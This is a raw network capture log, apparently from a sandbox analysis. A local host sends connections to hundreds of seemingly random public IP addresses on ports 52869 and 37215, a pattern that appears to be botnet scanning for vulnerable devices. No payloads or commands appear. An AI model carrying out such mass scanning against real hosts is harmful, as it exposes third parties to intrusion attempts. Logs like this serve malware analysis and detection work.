Jul 20, 2024 23:00:58.555763006 CEST	52869	50566	209.200.229.61	192.168.2.13
Jul 20, 2024 23:00:58.555799961 CEST	52869	50566	119.150.77.161	192.168.2.13
Jul 20, 2024 23:00:58.555814981 CEST	50566	52869	192.168.2.13	95.49.112.227
Jul 20, 2024 23:00:58.555814981 CEST	50566	52869	192.168.2.13	2.140.192.19
Jul 20, 2024 23:00:58.555814981 CEST	50566	52869	192.168.2.13	156.86.42.62
Jul 20, 2024 23:00:58.555814981 CEST	50566	52869	192.168.2.13	122.79.251.45
Jul 20, 2024 23:00:58.555814981 CEST	50566	52869	192.168.2.13	51.96.116.119
Jul 20, 2024 23:00:58.555814981 CEST	50566	52869	192.168.2.13	153.155.108.234
Jul 20, 2024 23:00:58.555814981 CEST	50566	52869	192.168.2.13	69.104.48.74
Jul 20, 2024 23:00:58.555814981 CEST	50566	52869	192.168.2.13	35.184.178.90
Jul 20, 2024 23:00:58.555830002 CEST	52869	50566	100.58.169.89	192.168.2.13
Jul 20, 2024 23:00:58.555859089 CEST	52869	50566	199.170.141.174	192.168.2.13
Jul 20, 2024 23:00:58.555887938 CEST	52869	50566	90.220.208.134	192.168.2.13
Jul 20, 2024 23:00:58.555917025 CEST	52869	50566	38.49.123.120	192.168.2.13
Jul 20, 2024 23:00:58.555948019 CEST	52869	50566	27.117.118.67	192.168.2.13
Jul 20, 2024 23:00:58.555978060 CEST	52869	50566	211.159.248.236	192.168.2.13
Jul 20, 2024 23:00:58.556006908 CEST	52869	50566	35.117.84.161	192.168.2.13
Jul 20, 2024 23:00:58.556041956 CEST	52869	50566	138.25.247.16	192.168.2.13
Jul 20, 2024 23:00:58.556071997 CEST	52869	50566	53.242.30.163	192.168.2.13
Jul 20, 2024 23:00:58.556101084 CEST	52869	50566	129.209.221.62	192.168.2.13
Jul 20, 2024 23:00:58.556129932 CEST	52869	50566	81.71.223.221	192.168.2.13
Jul 20, 2024 23:00:58.556159973 CEST	52869	50566	118.95.117.249	192.168.2.13
Jul 20, 2024 23:00:58.556190014 CEST	52869	50566	8.104.228.104	192.168.2.13
Jul 20, 2024 23:00:58.556219101 CEST	52869	50566	175.10.79.147	192.168.2.13
Jul 20, 2024 23:00:58.556247950 CEST	52869	50566	121.35.219.146	192.168.2.13
Jul 20, 2024 23:00:58.556277037 CEST	52869	50566	120.120.202.208	192.168.2.13
Jul 20, 2024 23:00:58.556282043 CEST	50566	52869	192.168.2.13	189.137.25.66
Jul 20, 2024 23:00:58.556282043 CEST	50566	52869	192.168.2.13	94.248.166.17
Jul 20, 2024 23:00:58.556282043 CEST	50566	52869	192.168.2.13	175.128.0.221
Jul 20, 2024 23:00:58.556282043 CEST	50566	52869	192.168.2.13	119.101.229.136
Jul 20, 2024 23:00:58.556282043 CEST	50566	52869	192.168.2.13	51.235.63.131
Jul 20, 2024 23:00:58.556282043 CEST	50566	52869	192.168.2.13	20.31.246.98
Jul 20, 2024 23:00:58.556282043 CEST	50566	52869	192.168.2.13	136.237.32.135
Jul 20, 2024 23:00:58.556282043 CEST	50566	52869	192.168.2.13	160.16.36.24
Jul 20, 2024 23:00:58.556307077 CEST	52869	50566	69.82.73.167	192.168.2.13
Jul 20, 2024 23:00:58.556338072 CEST	52869	50566	147.164.232.161	192.168.2.13
Jul 20, 2024 23:00:58.556368113 CEST	52869	50566	143.19.210.21	192.168.2.13
Jul 20, 2024 23:00:58.556399107 CEST	52869	50566	150.134.45.104	192.168.2.13
Jul 20, 2024 23:00:58.556435108 CEST	52869	50566	135.241.25.166	192.168.2.13
Jul 20, 2024 23:00:58.556468964 CEST	52869	50566	170.171.127.228	192.168.2.13
Jul 20, 2024 23:00:58.556544065 CEST	50566	52869	192.168.2.13	93.45.131.232
Jul 20, 2024 23:00:58.556544065 CEST	50566	52869	192.168.2.13	125.107.103.36
Jul 20, 2024 23:00:58.556544065 CEST	50566	52869	192.168.2.13	74.192.189.61
Jul 20, 2024 23:00:58.556545019 CEST	50566	52869	192.168.2.13	103.52.5.46
Jul 20, 2024 23:00:58.556545019 CEST	50566	52869	192.168.2.13	196.99.77.216
Jul 20, 2024 23:00:58.556545973 CEST	52869	50566	153.97.31.189	192.168.2.13
Jul 20, 2024 23:00:58.556545019 CEST	50563	37215	192.168.2.13	197.155.50.29
Jul 20, 2024 23:00:58.556545019 CEST	50566	52869	192.168.2.13	66.23.55.168
Jul 20, 2024 23:00:58.556545019 CEST	50566	52869	192.168.2.13	68.121.34.42
Jul 20, 2024 23:00:58.556577921 CEST	52869	50566	220.123.4.18	192.168.2.13
Jul 20, 2024 23:00:58.556608915 CEST	52869	50566	84.26.238.160	192.168.2.13
Jul 20, 2024 23:00:58.556638002 CEST	52869	50566	183.33.143.75	192.168.2.13
Jul 20, 2024 23:00:58.556668997 CEST	52869	50566	71.240.247.135	192.168.2.13
Jul 20, 2024 23:00:58.556699038 CEST	52869	50566	87.22.11.17	192.168.2.13
Jul 20, 2024 23:00:58.556729078 CEST	52869	50566	158.159.28.203	192.168.2.13
Jul 20, 2024 23:00:58.556757927 CEST	52869	50566	143.236.166.197	192.168.2.13
Jul 20, 2024 23:00:58.556787968 CEST	52869	50566	57.86.64.87	192.168.2.13
Jul 20, 2024 23:00:58.556817055 CEST	52869	50566	156.218.218.173	192.168.2.13
Jul 20, 2024 23:00:58.556844950 CEST	50566	52869	192.168.2.13	202.145.43.197
Jul 20, 2024 23:00:58.556845903 CEST	52869	50566	191.251.66.209	192.168.2.13
Jul 20, 2024 23:00:58.556844950 CEST	50566	52869	192.168.2.13	136.191.142.210
Jul 20, 2024 23:00:58.556844950 CEST	50566	52869	192.168.2.13	174.238.75.213
Jul 20, 2024 23:00:58.556844950 CEST	50566	52869	192.168.2.13	80.23.237.104
Jul 20, 2024 23:00:58.556844950 CEST	50566	52869	192.168.2.13	44.23.102.38
Jul 20, 2024 23:00:58.556844950 CEST	50566	52869	192.168.2.13	192.68.43.47
Jul 20, 2024 23:00:58.556844950 CEST	50566	52869	192.168.2.13	64.221.139.232
Jul 20, 2024 23:00:58.556844950 CEST	50566	52869	192.168.2.13	128.41.52.94
Jul 20, 2024 23:00:58.556875944 CEST	52869	50566	51.169.114.105	192.168.2.13
Jul 20, 2024 23:00:58.556905985 CEST	52869	50566	48.113.240.162	192.168.2.13
Jul 20, 2024 23:00:58.556936026 CEST	52869	50566	144.242.214.134	192.168.2.13
Jul 20, 2024 23:00:58.556963921 CEST	52869	50566	98.189.122.151	192.168.2.13
Jul 20, 2024 23:00:58.556993961 CEST	52869	50566	139.23.112.9	192.168.2.13
Jul 20, 2024 23:00:58.557023048 CEST	52869	50566	170.54.95.252	192.168.2.13
Jul 20, 2024 23:00:58.557051897 CEST	52869	50566	51.230.131.89	192.168.2.13
Jul 20, 2024 23:00:58.557082891 CEST	52869	50566	160.241.202.23	192.168.2.13
Jul 20, 2024 23:00:58.557111979 CEST	52869	50566	220.26.7.227	192.168.2.13
Jul 20, 2024 23:00:58.557141066 CEST	52869	50566	213.139.43.137	192.168.2.13
Jul 20, 2024 23:00:58.557169914 CEST	52869	50566	183.89.166.139	192.168.2.13
Jul 20, 2024 23:00:58.557203054 CEST	52869	50566	172.51.83.216	192.168.2.13
Jul 20, 2024 23:00:58.557220936 CEST	50566	52869	192.168.2.13	203.199.77.0
Jul 20, 2024 23:00:58.557220936 CEST	50566	52869	192.168.2.13	107.72.137.218
Jul 20, 2024 23:00:58.557220936 CEST	50566	52869	192.168.2.13	25.80.16.248
Jul 20, 2024 23:00:58.557220936 CEST	50566	52869	192.168.2.13	180.65.20.59
Jul 20, 2024 23:00:58.557220936 CEST	50566	52869	192.168.2.13	218.20.101.200
Jul 20, 2024 23:00:58.557220936 CEST	50566	52869	192.168.2.13	47.213.153.93
Jul 20, 2024 23:00:58.557220936 CEST	50566	52869	192.168.2.13	199.27.45.116
Jul 20, 2024 23:00:58.557220936 CEST	50566	52869	192.168.2.13	170.157.248.9
Jul 20, 2024 23:00:58.557240963 CEST	52869	50566	158.124.195.199	192.168.2.13
Jul 20, 2024 23:00:58.557271957 CEST	52869	50566	187.248.171.89	192.168.2.13
Jul 20, 2024 23:00:58.557301998 CEST	52869	50566	186.203.154.108	192.168.2.13
Jul 20, 2024 23:00:58.557331085 CEST	52869	50566	74.253.225.130	192.168.2.13
Jul 20, 2024 23:00:58.557348013 CEST	50566	52869	192.168.2.13	189.31.8.6
Jul 20, 2024 23:00:58.557348013 CEST	50566	52869	192.168.2.13	99.53.31.152
Jul 20, 2024 23:00:58.557348013 CEST	50566	52869	192.168.2.13	77.151.45.7
Jul 20, 2024 23:00:58.557348013 CEST	50566	52869	192.168.2.13	174.151.133.218
Jul 20, 2024 23:00:58.557348013 CEST	50566	52869	192.168.2.13	123.54.34.16
Jul 20, 2024 23:00:58.557348013 CEST	50566	52869	192.168.2.13	125.100.54.174
Jul 20, 2024 23:00:58.557348013 CEST	50566	52869	192.168.2.13	200.151.2.187
Jul 20, 2024 23:00:58.557348013 CEST	50566	52869	192.168.2.13	146.202.183.226
Jul 20, 2024 23:00:58.557359934 CEST	52869	50566	139.0.230.132	192.168.2.13
Jul 20, 2024 23:00:58.557389021 CEST	52869	50566	65.224.243.64	192.168.2.13
Jul 20, 2024 23:00:58.557404041 CEST	50566	52869	192.168.2.13	82.109.129.250
Jul 20, 2024 23:00:58.557404041 CEST	50566	52869	192.168.2.13	8.92.236.109
Jul 20, 2024 23:00:58.557404995 CEST	50566	52869	192.168.2.13	44.43.53.120
Jul 20, 2024 23:00:58.557404995 CEST	50566	52869	192.168.2.13	141.92.48.163
Jul 20, 2024 23:00:58.557404995 CEST	50566	52869	192.168.2.13	108.143.152.115
Jul 20, 2024 23:00:58.557404995 CEST	50566	52869	192.168.2.13	50.89.225.174
Jul 20, 2024 23:00:58.557404995 CEST	50566	52869	192.168.2.13	109.117.177.225
Jul 20, 2024 23:00:58.557404995 CEST	50566	52869	192.168.2.13	139.39.66.251
Jul 20, 2024 23:00:58.557416916 CEST	52869	50566	23.86.160.85	192.168.2.13
Jul 20, 2024 23:00:58.557446003 CEST	52869	50566	188.53.105.187	192.168.2.13
Jul 20, 2024 23:00:58.557473898 CEST	52869	50566	91.73.86.81	192.168.2.13
Jul 20, 2024 23:00:58.557502985 CEST	52869	50566	77.222.205.40	192.168.2.13
Jul 20, 2024 23:00:58.557532072 CEST	52869	50566	211.247.29.248	192.168.2.13
Jul 20, 2024 23:00:58.557560921 CEST	52869	50566	70.194.220.73	192.168.2.13
Jul 20, 2024 23:00:58.557588100 CEST	52869	50566	97.132.111.117	192.168.2.13
Jul 20, 2024 23:00:58.557617903 CEST	52869	50566	130.11.160.84	192.168.2.13
Jul 20, 2024 23:00:58.557647943 CEST	52869	50566	204.52.130.30	192.168.2.13
Jul 20, 2024 23:00:58.557679892 CEST	52869	50566	197.160.210.166	192.168.2.13
Jul 20, 2024 23:00:58.557709932 CEST	52869	50566	64.186.75.249	192.168.2.13
Jul 20, 2024 23:00:58.557739019 CEST	52869	50566	89.57.196.100	192.168.2.13
Jul 20, 2024 23:00:58.557768106 CEST	52869	50566	97.114.117.29	192.168.2.13
Jul 20, 2024 23:00:58.557796955 CEST	52869	50566	213.249.133.80	192.168.2.13
Jul 20, 2024 23:00:58.557825089 CEST	52869	50566	83.224.119.168	192.168.2.13
Jul 20, 2024 23:00:58.557853937 CEST	52869	50566	152.161.224.79	192.168.2.13
Jul 20, 2024 23:00:58.557904959 CEST	52869	50566	126.209.245.77	192.168.2.13
Jul 20, 2024 23:00:58.557945967 CEST	52869	50566	17.217.65.15	192.168.2.13
Jul 20, 2024 23:00:58.557976961 CEST	52869	50566	170.201.104.199	192.168.2.13
Jul 20, 2024 23:00:58.558006048 CEST	52869	50566	77.182.150.37	192.168.2.13
Jul 20, 2024 23:00:58.558031082 CEST	50566	52869	192.168.2.13	52.36.169.180
Jul 20, 2024 23:00:58.558031082 CEST	50566	52869	192.168.2.13	125.144.188.68
Jul 20, 2024 23:00:58.558031082 CEST	50566	52869	192.168.2.13	211.101.111.202
Jul 20, 2024 23:00:58.558031082 CEST	50566	52869	192.168.2.13	165.129.147.159
Jul 20, 2024 23:00:58.558031082 CEST	50566	52869	192.168.2.13	37.147.105.215
Jul 20, 2024 23:00:58.558031082 CEST	50566	52869	192.168.2.13	94.115.107.9
Jul 20, 2024 23:00:58.558031082 CEST	50566	52869	192.168.2.13	193.180.100.0
Jul 20, 2024 23:00:58.558031082 CEST	50566	52869	192.168.2.13	36.232.58.83
Jul 20, 2024 23:00:58.558036089 CEST	52869	50566	191.214.228.151	192.168.2.13
Jul 20, 2024 23:00:58.558065891 CEST	52869	50566	13.145.132.17	192.168.2.13
Jul 20, 2024 23:00:58.558094978 CEST	52869	50566	18.101.167.39	192.168.2.13
Jul 20, 2024 23:00:58.558125019 CEST	52869	50566	199.255.47.208	192.168.2.13
Jul 20, 2024 23:00:58.558156013 CEST	52869	50566	68.30.100.71	192.168.2.13
Jul 20, 2024 23:00:58.558186054 CEST	52869	50566	126.66.84.101	192.168.2.13
Jul 20, 2024 23:00:58.558214903 CEST	52869	50566	130.147.77.29	192.168.2.13
Jul 20, 2024 23:00:58.558245897 CEST	52869	50566	191.252.251.212	192.168.2.13
Jul 20, 2024 23:00:58.558275938 CEST	52869	50566	19.96.215.60	192.168.2.13
Jul 20, 2024 23:00:58.558311939 CEST	52869	50566	78.238.220.249	192.168.2.13
Jul 20, 2024 23:00:58.558314085 CEST	50566	52869	192.168.2.13	125.164.27.59
Jul 20, 2024 23:00:58.558314085 CEST	50566	52869	192.168.2.13	171.240.202.47
Jul 20, 2024 23:00:58.558314085 CEST	50563	37215	192.168.2.13	41.116.6.21
Jul 20, 2024 23:00:58.558315039 CEST	50566	52869	192.168.2.13	44.132.115.96
Jul 20, 2024 23:00:58.558315039 CEST	50563	37215	192.168.2.13	77.77.222.35
Jul 20, 2024 23:00:58.558315039 CEST	50566	52869	192.168.2.13	129.129.114.137
Jul 20, 2024 23:00:58.558315039 CEST	50566	52869	192.168.2.13	83.246.55.163
Jul 20, 2024 23:00:58.558315039 CEST	50566	52869	192.168.2.13	25.165.116.161
Jul 20, 2024 23:00:58.558341980 CEST	52869	50566	49.79.222.119	192.168.2.13
Jul 20, 2024 23:00:58.558372021 CEST	52869	50566	222.97.13.69	192.168.2.13
Jul 20, 2024 23:00:58.558402061 CEST	52869	50566	75.16.206.108	192.168.2.13
Jul 20, 2024 23:00:58.558429956 CEST	52869	50566	9.231.7.210	192.168.2.13
Jul 20, 2024 23:00:58.558458090 CEST	52869	50566	210.242.150.143	192.168.2.13
Jul 20, 2024 23:00:58.558487892 CEST	52869	50566	216.1.152.81	192.168.2.13
Jul 20, 2024 23:00:58.558516979 CEST	52869	50566	187.123.127.227	192.168.2.13
Jul 20, 2024 23:00:58.558546066 CEST	52869	50566	83.59.61.36	192.168.2.13
Jul 20, 2024 23:00:58.558576107 CEST	52869	50566	89.84.130.3	192.168.2.13
Jul 20, 2024 23:00:58.558608055 CEST	52869	50566	72.60.254.31	192.168.2.13
Jul 20, 2024 23:00:58.558646917 CEST	52869	50566	166.150.19.163	192.168.2.13
Jul 20, 2024 23:00:58.558679104 CEST	52869	50566	137.137.144.212	192.168.2.13
Jul 20, 2024 23:00:58.558708906 CEST	52869	50566	63.139.62.111	192.168.2.13
Jul 20, 2024 23:00:58.558739901 CEST	52869	50566	47.21.202.187	192.168.2.13
Jul 20, 2024 23:00:58.558768988 CEST	52869	50566	4.4.167.103	192.168.2.13
Jul 20, 2024 23:00:58.558787107 CEST	50566	52869	192.168.2.13	47.216.151.83
Jul 20, 2024 23:00:58.558787107 CEST	50566	52869	192.168.2.13	99.98.60.23
Jul 20, 2024 23:00:58.558787107 CEST	50566	52869	192.168.2.13	203.78.23.158
Jul 20, 2024 23:00:58.558787107 CEST	50566	52869	192.168.2.13	216.241.15.75
Jul 20, 2024 23:00:58.558788061 CEST	50566	52869	192.168.2.13	1.182.170.234
Jul 20, 2024 23:00:58.558788061 CEST	50566	52869	192.168.2.13	171.10.210.242
Jul 20, 2024 23:00:58.558788061 CEST	50566	52869	192.168.2.13	133.30.83.235
Jul 20, 2024 23:00:58.558788061 CEST	50566	52869	192.168.2.13	164.36.160.91
Jul 20, 2024 23:00:58.558798075 CEST	52869	50566	62.126.184.91	192.168.2.13
Jul 20, 2024 23:00:58.558828115 CEST	52869	50566	171.117.89.236	192.168.2.13
Jul 20, 2024 23:00:58.558857918 CEST	52869	50566	205.130.81.109	192.168.2.13
Jul 20, 2024 23:00:58.558887005 CEST	52869	50566	170.23.175.88	192.168.2.13
Jul 20, 2024 23:00:58.558916092 CEST	52869	50566	176.151.180.197	192.168.2.13
Jul 20, 2024 23:00:58.558945894 CEST	52869	50566	164.8.255.47	192.168.2.13
Jul 20, 2024 23:00:58.558975935 CEST	52869	50566	47.216.94.0	192.168.2.13
Jul 20, 2024 23:00:58.558990002 CEST	52869	50566	24.166.198.46	192.168.2.13
Jul 20, 2024 23:00:58.559003115 CEST	52869	50566	136.164.189.225	192.168.2.13
Jul 20, 2024 23:00:58.559015989 CEST	52869	50566	195.228.120.248	192.168.2.13
Jul 20, 2024 23:00:58.559030056 CEST	52869	50566	157.40.9.209	192.168.2.13
Jul 20, 2024 23:00:58.559043884 CEST	52869	50566	221.82.215.87	192.168.2.13
Jul 20, 2024 23:00:58.559057951 CEST	52869	50566	78.145.139.16	192.168.2.13
Jul 20, 2024 23:00:58.559072018 CEST	52869	50566	14.2.30.96	192.168.2.13
Jul 20, 2024 23:00:58.559086084 CEST	52869	50566	168.69.38.135	192.168.2.13
Jul 20, 2024 23:00:58.559099913 CEST	52869	50566	162.26.5.38	192.168.2.13
Jul 20, 2024 23:00:58.559113026 CEST	52869	50566	71.112.213.237	192.168.2.13
Jul 20, 2024 23:00:58.559137106 CEST	52869	50566	221.85.136.10	192.168.2.13
Jul 20, 2024 23:00:58.559160948 CEST	52869	50566	173.204.137.85	192.168.2.13
Jul 20, 2024 23:00:58.559175014 CEST	52869	50566	176.69.59.228	192.168.2.13
Jul 20, 2024 23:00:58.559187889 CEST	52869	50566	165.95.243.107	192.168.2.13
Jul 20, 2024 23:00:58.559201956 CEST	52869	50566	121.104.50.97	192.168.2.13
Jul 20, 2024 23:00:58.559216022 CEST	52869	50566	99.172.148.31	192.168.2.13
Jul 20, 2024 23:00:58.559230089 CEST	52869	50566	114.0.228.232	192.168.2.13
Jul 20, 2024 23:00:58.559243917 CEST	52869	50566	92.52.112.233	192.168.2.13
Jul 20, 2024 23:00:58.559257984 CEST	52869	50566	111.37.65.174	192.168.2.13
Jul 20, 2024 23:00:58.559273958 CEST	52869	50566	81.73.195.232	192.168.2.13
Jul 20, 2024 23:00:58.559288025 CEST	52869	50566	37.205.184.129	192.168.2.13
Jul 20, 2024 23:00:58.559303045 CEST	52869	50566	153.33.151.65	192.168.2.13
Jul 20, 2024 23:00:58.559315920 CEST	52869	50566	177.130.98.196	192.168.2.13
Jul 20, 2024 23:00:58.559329987 CEST	52869	50566	76.239.185.4	192.168.2.13
Jul 20, 2024 23:00:58.559343100 CEST	52869	50566	144.53.119.5	192.168.2.13
Jul 20, 2024 23:00:58.559355974 CEST	52869	50566	183.32.240.14	192.168.2.13
Jul 20, 2024 23:00:58.559370041 CEST	52869	50566	44.173.173.82	192.168.2.13
Jul 20, 2024 23:00:58.559382915 CEST	52869	50566	159.127.6.20	192.168.2.13
Jul 20, 2024 23:00:58.559396029 CEST	52869	50566	9.155.213.68	192.168.2.13
Jul 20, 2024 23:00:58.559410095 CEST	52869	50566	99.160.201.206	192.168.2.13
Jul 20, 2024 23:00:58.559423923 CEST	52869	50566	219.0.14.247	192.168.2.13
Jul 20, 2024 23:00:58.559437990 CEST	52869	50566	168.61.125.85	192.168.2.13
Jul 20, 2024 23:00:58.559451103 CEST	52869	50566	223.227.5.114	192.168.2.13
Jul 20, 2024 23:00:58.559465885 CEST	52869	50566	138.96.171.141	192.168.2.13
Jul 20, 2024 23:00:58.559485912 CEST	52869	50566	117.76.117.93	192.168.2.13
Jul 20, 2024 23:00:58.559499979 CEST	52869	50566	13.5.180.251	192.168.2.13
Jul 20, 2024 23:00:58.559514046 CEST	52869	50566	179.27.16.177	192.168.2.13
Jul 20, 2024 23:00:58.559526920 CEST	52869	50566	13.146.164.210	192.168.2.13
Jul 20, 2024 23:00:58.559540987 CEST	52869	50566	39.240.110.128	192.168.2.13
Jul 20, 2024 23:00:58.559555054 CEST	52869	50566	82.166.201.81	192.168.2.13
Jul 20, 2024 23:00:58.559567928 CEST	52869	50566	141.36.128.134	192.168.2.13
Jul 20, 2024 23:00:58.559581995 CEST	52869	50566	54.236.238.51	192.168.2.13
Jul 20, 2024 23:00:58.559595108 CEST	52869	50566	153.105.129.20	192.168.2.13
Jul 20, 2024 23:00:58.559609890 CEST	52869	50566	191.94.176.193	192.168.2.13
Jul 20, 2024 23:00:58.559623003 CEST	52869	50566	49.146.39.71	192.168.2.13
Jul 20, 2024 23:00:58.559637070 CEST	52869	50566	202.189.16.223	192.168.2.13
Jul 20, 2024 23:00:58.559649944 CEST	52869	50566	51.65.47.196	192.168.2.13
Jul 20, 2024 23:00:58.559664011 CEST	52869	50566	212.236.125.79	192.168.2.13
Jul 20, 2024 23:00:58.559678078 CEST	52869	50566	198.95.42.42	192.168.2.13
Jul 20, 2024 23:00:58.559690952 CEST	52869	50566	115.130.21.220	192.168.2.13
Jul 20, 2024 23:00:58.559704065 CEST	52869	50566	148.242.181.53	192.168.2.13
Jul 20, 2024 23:00:58.559717894 CEST	52869	50566	216.194.176.131	192.168.2.13
Jul 20, 2024 23:00:58.559731960 CEST	52869	50566	162.202.222.182	192.168.2.13
Jul 20, 2024 23:00:58.559745073 CEST	52869	50566	126.183.166.233	192.168.2.13
Jul 20, 2024 23:00:58.559757948 CEST	52869	50566	125.82.19.196	192.168.2.13
Jul 20, 2024 23:00:58.559772015 CEST	52869	50566	8.85.166.254	192.168.2.13
Jul 20, 2024 23:00:58.559786081 CEST	52869	50566	71.95.23.241	192.168.2.13
Jul 20, 2024 23:00:58.559803009 CEST	52869	50566	109.242.201.39	192.168.2.13
Jul 20, 2024 23:00:58.559815884 CEST	52869	50566	172.54.67.32	192.168.2.13
Jul 20, 2024 23:00:58.560131073 CEST	50566	52869	192.168.2.13	68.212.46.170
Jul 20, 2024 23:00:58.560131073 CEST	50566	52869	192.168.2.13	159.49.210.209
Jul 20, 2024 23:00:58.560131073 CEST	50566	52869	192.168.2.13	97.73.103.191
Jul 20, 2024 23:00:58.560131073 CEST	50566	52869	192.168.2.13	218.127.224.225
Jul 20, 2024 23:00:58.560131073 CEST	50566	52869	192.168.2.13	75.230.189.233
Jul 20, 2024 23:00:58.560131073 CEST	50566	52869	192.168.2.13	43.227.45.146
Jul 20, 2024 23:00:58.560131073 CEST	50566	52869	192.168.2.13	61.188.220.39
Jul 20, 2024 23:00:58.560131073 CEST	50566	52869	192.168.2.13	208.63.205.212
Jul 20, 2024 23:00:58.560241938 CEST	50566	52869	192.168.2.13	39.27.250.37
Jul 20, 2024 23:00:58.560241938 CEST	50566	52869	192.168.2.13	135.166.38.24
Jul 20, 2024 23:00:58.560241938 CEST	50566	52869	192.168.2.13	9.27.53.209
Jul 20, 2024 23:00:58.560241938 CEST	50566	52869	192.168.2.13	164.103.112.227
Jul 20, 2024 23:00:58.560241938 CEST	50566	52869	192.168.2.13	186.200.127.168
Jul 20, 2024 23:00:58.560241938 CEST	50566	52869	192.168.2.13	199.90.216.200
Jul 20, 2024 23:00:58.560241938 CEST	50566	52869	192.168.2.13	62.103.234.11
Jul 20, 2024 23:00:58.560241938 CEST	50566	52869	192.168.2.13	197.160.207.232
Jul 20, 2024 23:00:58.560854912 CEST	50566	52869	192.168.2.13	140.3.48.59
Jul 20, 2024 23:00:58.560854912 CEST	50566	52869	192.168.2.13	153.157.53.91
Jul 20, 2024 23:00:58.560854912 CEST	50566	52869	192.168.2.13	193.188.51.202
Jul 20, 2024 23:00:58.560854912 CEST	50566	52869	192.168.2.13	89.119.163.150
Jul 20, 2024 23:00:58.560854912 CEST	50566	52869	192.168.2.13	196.106.32.84
Jul 20, 2024 23:00:58.560854912 CEST	50566	52869	192.168.2.13	51.24.132.201
Jul 20, 2024 23:00:58.560856104 CEST	50566	52869	192.168.2.13	190.248.188.149
Jul 20, 2024 23:00:58.560856104 CEST	50566	52869	192.168.2.13	125.156.21.212
Jul 20, 2024 23:00:58.561470032 CEST	50566	52869	192.168.2.13	57.159.28.229
Jul 20, 2024 23:00:58.561470032 CEST	50566	52869	192.168.2.13	27.69.33.52
Jul 20, 2024 23:00:58.561470032 CEST	50566	52869	192.168.2.13	69.143.108.77
Jul 20, 2024 23:00:58.561470032 CEST	50566	52869	192.168.2.13	197.131.53.164
Jul 20, 2024 23:00:58.561470032 CEST	50566	52869	192.168.2.13	136.250.220.23
Jul 20, 2024 23:00:58.561470032 CEST	50566	52869	192.168.2.13	170.16.122.182
Jul 20, 2024 23:00:58.561470032 CEST	50566	52869	192.168.2.13	102.15.208.230
Jul 20, 2024 23:00:58.561470032 CEST	50566	52869	192.168.2.13	121.86.65.117
Jul 20, 2024 23:00:58.561600924 CEST	50566	52869	192.168.2.13	57.187.233.142
Jul 20, 2024 23:00:58.561600924 CEST	50566	52869	192.168.2.13	119.146.253.87
Jul 20, 2024 23:00:58.561600924 CEST	50566	52869	192.168.2.13	72.7.221.140
Jul 20, 2024 23:00:58.561600924 CEST	50566	52869	192.168.2.13	186.168.105.239
Jul 20, 2024 23:00:58.561600924 CEST	50566	52869	192.168.2.13	156.105.141.113
Jul 20, 2024 23:00:58.561600924 CEST	50566	52869	192.168.2.13	161.75.245.170
Jul 20, 2024 23:00:58.561600924 CEST	50566	52869	192.168.2.13	118.14.138.64
Jul 20, 2024 23:00:58.561600924 CEST	50566	52869	192.168.2.13	196.182.26.8
Jul 20, 2024 23:00:58.561956882 CEST	50566	52869	192.168.2.13	53.125.123.212
Jul 20, 2024 23:00:58.561956882 CEST	50566	52869	192.168.2.13	134.232.27.158
Jul 20, 2024 23:00:58.561956882 CEST	50566	52869	192.168.2.13	213.255.120.228
Jul 20, 2024 23:00:58.561956882 CEST	50566	52869	192.168.2.13	188.245.142.237
Jul 20, 2024 23:00:58.561956882 CEST	50566	52869	192.168.2.13	41.74.69.2
Jul 20, 2024 23:00:58.561956882 CEST	50566	52869	192.168.2.13	103.219.76.206
Jul 20, 2024 23:00:58.561956882 CEST	50566	52869	192.168.2.13	139.7.160.118
Jul 20, 2024 23:00:58.561956882 CEST	50566	52869	192.168.2.13	202.148.248.254
Jul 20, 2024 23:00:58.562608957 CEST	50566	52869	192.168.2.13	173.178.123.107
Jul 20, 2024 23:00:58.562608957 CEST	50566	52869	192.168.2.13	150.160.228.141
Jul 20, 2024 23:00:58.562608957 CEST	50566	52869	192.168.2.13	168.22.17.12
Jul 20, 2024 23:00:58.562608957 CEST	50566	52869	192.168.2.13	180.172.27.58
Jul 20, 2024 23:00:58.562608957 CEST	50566	52869	192.168.2.13	212.236.99.62
Jul 20, 2024 23:00:58.562608957 CEST	50566	52869	192.168.2.13	138.103.93.174
Jul 20, 2024 23:00:58.562608957 CEST	50566	52869	192.168.2.13	72.73.27.176
Jul 20, 2024 23:00:58.562864065 CEST	50566	52869	192.168.2.13	86.187.37.161
Jul 20, 2024 23:00:58.562864065 CEST	50566	52869	192.168.2.13	166.215.135.145
Jul 20, 2024 23:00:58.562864065 CEST	50566	52869	192.168.2.13	89.147.138.13
Jul 20, 2024 23:00:58.562864065 CEST	50566	52869	192.168.2.13	1.93.104.156
Jul 20, 2024 23:00:58.562864065 CEST	50566	52869	192.168.2.13	107.110.195.106
Jul 20, 2024 23:00:58.562864065 CEST	50566	52869	192.168.2.13	62.197.26.141
Jul 20, 2024 23:00:58.562865019 CEST	50566	52869	192.168.2.13	66.255.33.96
Jul 20, 2024 23:00:58.562865019 CEST	50566	52869	192.168.2.13	162.80.101.59
Jul 20, 2024 23:00:58.563183069 CEST	50566	52869	192.168.2.13	103.20.55.157
Jul 20, 2024 23:00:58.563183069 CEST	50566	52869	192.168.2.13	165.233.123.198
Jul 20, 2024 23:00:58.563184023 CEST	50566	52869	192.168.2.13	129.83.140.88
Jul 20, 2024 23:00:58.563184023 CEST	50566	52869	192.168.2.13	13.30.145.14
Jul 20, 2024 23:00:58.563184023 CEST	50566	52869	192.168.2.13	93.90.85.174
Jul 20, 2024 23:00:58.563184023 CEST	50566	52869	192.168.2.13	157.99.7.27
Jul 20, 2024 23:00:58.563184023 CEST	50566	52869	192.168.2.13	199.84.124.13
Jul 20, 2024 23:00:58.563184023 CEST	50566	52869	192.168.2.13	66.130.146.7
Jul 20, 2024 23:00:58.563621998 CEST	50566	52869	192.168.2.13	168.7.252.176
Jul 20, 2024 23:00:58.563621998 CEST	50566	52869	192.168.2.13	89.231.113.26
Jul 20, 2024 23:00:58.563621998 CEST	50566	52869	192.168.2.13	13.155.75.186
Jul 20, 2024 23:00:58.563621998 CEST	50566	52869	192.168.2.13	153.244.29.115
Jul 20, 2024 23:00:58.563621998 CEST	50566	52869	192.168.2.13	45.105.20.114
Jul 20, 2024 23:00:58.563621998 CEST	50566	52869	192.168.2.13	95.80.28.21
Jul 20, 2024 23:00:58.563621998 CEST	50566	52869	192.168.2.13	94.137.9.128
Jul 20, 2024 23:00:58.563621998 CEST	50566	52869	192.168.2.13	187.194.103.87
Jul 20, 2024 23:00:58.564179897 CEST	50566	52869	192.168.2.13	25.163.230.218
Jul 20, 2024 23:00:58.564179897 CEST	50566	52869	192.168.2.13	180.68.201.82
Jul 20, 2024 23:00:58.564179897 CEST	50566	52869	192.168.2.13	31.162.116.159
